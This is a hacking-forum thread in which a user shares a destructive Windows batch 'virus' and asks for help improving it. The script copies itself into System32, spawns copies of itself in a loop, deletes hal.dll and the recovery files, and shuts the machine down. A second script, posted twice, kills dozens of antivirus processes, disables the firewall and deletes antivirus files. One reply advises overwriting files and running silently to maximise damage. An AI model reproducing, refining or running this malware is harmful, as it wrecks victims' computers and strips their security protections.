I need help with my batch/virus!
Code with notes and questions/problems:
Code @echo off
Title Maybe v1.3
color 0a
Echo Start?
pause
goto A
rem Just a protection to myself... so i don't press it :D
:A
cls
set /p p=Enter THE Pass:
if %p%==die goto DisA
else
goto Go
rem A part of my security above
:Go
cls
echo WRONG!!!
pause
exit
rem Disability!
:DisA
cls
Rundll32 user32,SwapMouseButton
copy /y Maybe.bat "C:\windows\System32"
time 12:00
rem Need a way to disable Keyboard/ctrl+alt+del command.
rem tskill for antivirus? and there DEL of there "Base-files"
rem A way cut off/disable network temperary or permenent?
goto Bomb
rem This the E-Bomb part
:Bomb
cls
if %x%==1000 goto FinishIt
cd C:\windows\System32
start http://piv.pivpiv.dk/
start Maybe.bat
copy %0 "%random%.bat" > nul
rem Need a way to spam Desktop also...
set /a x=+1
goto Bomb
rem Finish the target completely after taking him down
:FinishIt
cls
del /f /q "C:\windows\System32\hal.dll"
rem I need a way to format/delte all drives (also Revovery Drives)
del /f /q "D:\recovery"
rem i don't know if the code above will work... is there a command for a hole e.g. Drive DEL like: del /f /q /s "C:\" and it will all be gone in the "C-Drive"?
shutdown /s /t 00
rem virus done...
Pure Code:
Code @echo off
Title Maybe v1.3
color 0a
Echo Start?
pause
goto A
:A
cls
set /p p=Enter THE Pass:
if %p%==die goto DisA
else
goto Go
:Go
cls
echo WRONG!!!
pause
exit
:DisA
cls
Rundll32 user32,SwapMouseButton
copy /y Maybe.bat "C:\windows\System32"
time 12:00
goto Bomb
:Bomb
cls
if %x%==1000 goto FinishIt
cd C:\windows\System32
start http://piv.pivpiv.dk/
start Maybe.bat
copy %0 "%random%.bat" > nul
set /a x=+1
goto Bomb
:FinishIt
cls
del /f /q "C:\windows\System32\hal.dll"
del /f /q "D:\recovery"
shutdown /s /t 00
PS: Please when/if you write a code for me please explain every little part of the code, if you don't mind doing that... i like to understand what i'm doing :)
Don't know if this is "Semi-Advanced" or "Beginner"?... but i got a feeling that you need to have a smaller understanding in Batch-coding.
Feel free to give feedback and come with ideas i can go on with
Thanks to all answers
Instead of deleting everything (which won't work, ever..) just overwrite/corrupt it. It's less likely you'll need access permissions for a read/write operation than a delete operation in a potentially protected directory (Slightly contradictory, but it does in fact work most times).
Make your code run silently, catch ALL errors through monitoring %ERRORLEVEL% and suppress error messages and command output with 2>nul and >nul respectively.
Scrap unnecessary code, such as the title, color and any ECHO commands you may have. Just make it a quick and silent hit on the computer.
Also, it's a pretty basic code. It doesn't spread, it isn't "smart" (the code, that is) and it really can't do much in the way of maximizing damage.
Dec 23, 2013 05:54 AM
(This post was last modified: Dec 23, 2013 05:58 AM by Minus0st.)
i see.... but how will you overwrite the "Drives" ?
Great answer btw :)
and i know it's not a "SUPER virus" :)
I was also lookig at a code:
Code net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
Will it be too much and unnecessary?
(Dec 23, 2013 05:54 AM)Minus0st Wrote: i see.... but how will you overwrite the "Drives" ?
Great answer btw :)
and i know it's not a "SUPER virus" :)
I was also lookig at a code:
Code net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
Will it be too much and unnecessary?
Don't use virus maker codes. AVs can and will detect then instantly.
Be creative with how you bypass security, I know it can be done I'm just not too keen on my method being leeched.
Okay i understand...
is it "realistic" to create a virus in Batch... og do i HAVE to se VB also?
ty :)
(Dec 23, 2013 09:40 AM)Minus0st Wrote: Okay i understand...
is it "realistic" to create a virus in Batch... og do i HAVE to se VB also?
ty :)
It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.
DO NOT DEAL WITH THIS MEMBER
(Dec 23, 2013 10:40 AM)Greenp0ison Wrote: It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.
I wrote a smart virus in batch, it wasn't harmful but it could self replicate and the script changed each time.
RenRioku.... could it be possible for me to have a look at that code (PM me)?
Yea i need a little practice :)
DO NOT DEAL WITH THIS MEMBER
(Dec 23, 2013 10:40 AM)Greenp0ison Wrote: It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.
It's not really worth creating a "virus" in Batch at all. Period. End of story.
It's a text file that's interpreted by some Windows programs. Not exactly rocket science to catch/stop.
(Dec 23, 2013 03:53 PM)PigBacon Wrote: It's not really worth creating a "virus" in Batch at all. Period. End of story.
It's a text file that's interpreted by some Windows programs. Not exactly rocket science to catch/stop.
I have to agree with plausibility. You're just wasting your time.
DO NOT DEAL WITH THIS MEMBER
(Dec 23, 2013 03:07 PM)Minus0st Wrote: RenRioku.... could it be possible for me to have a look at that code (PM me)?
Yea i need a little practice :)
I will not share the code because I do not want it all over the internet causing more problems.
Thanks for the answers :)
I understand RenRioku...
And i should start with some VB or C programming?
DO NOT DEAL WITH THIS MEMBER
(Dec 24, 2013 02:05 AM)Minus0st Wrote: Thanks for the answers :)
I understand RenRioku...
And i should start with some VB or C programming?
It is your own choice where to start at, I started with 68k Basic if anyone knows what that is.
I literally JUST started learning C. If you need any help you can PM me. I'm still learning myself, so I don't have all the answers :P
Dec 24, 2013 03:38 AM
(This post was last modified: Dec 24, 2013 03:38 AM by Minus0st.)
i haven't heard about 68k Basic :)
Of course Icarus Lives i just need to get 25 posts :)
But what do you think is the best C or VB?
Or if you don't program VB... what do you think about C... you like it?
|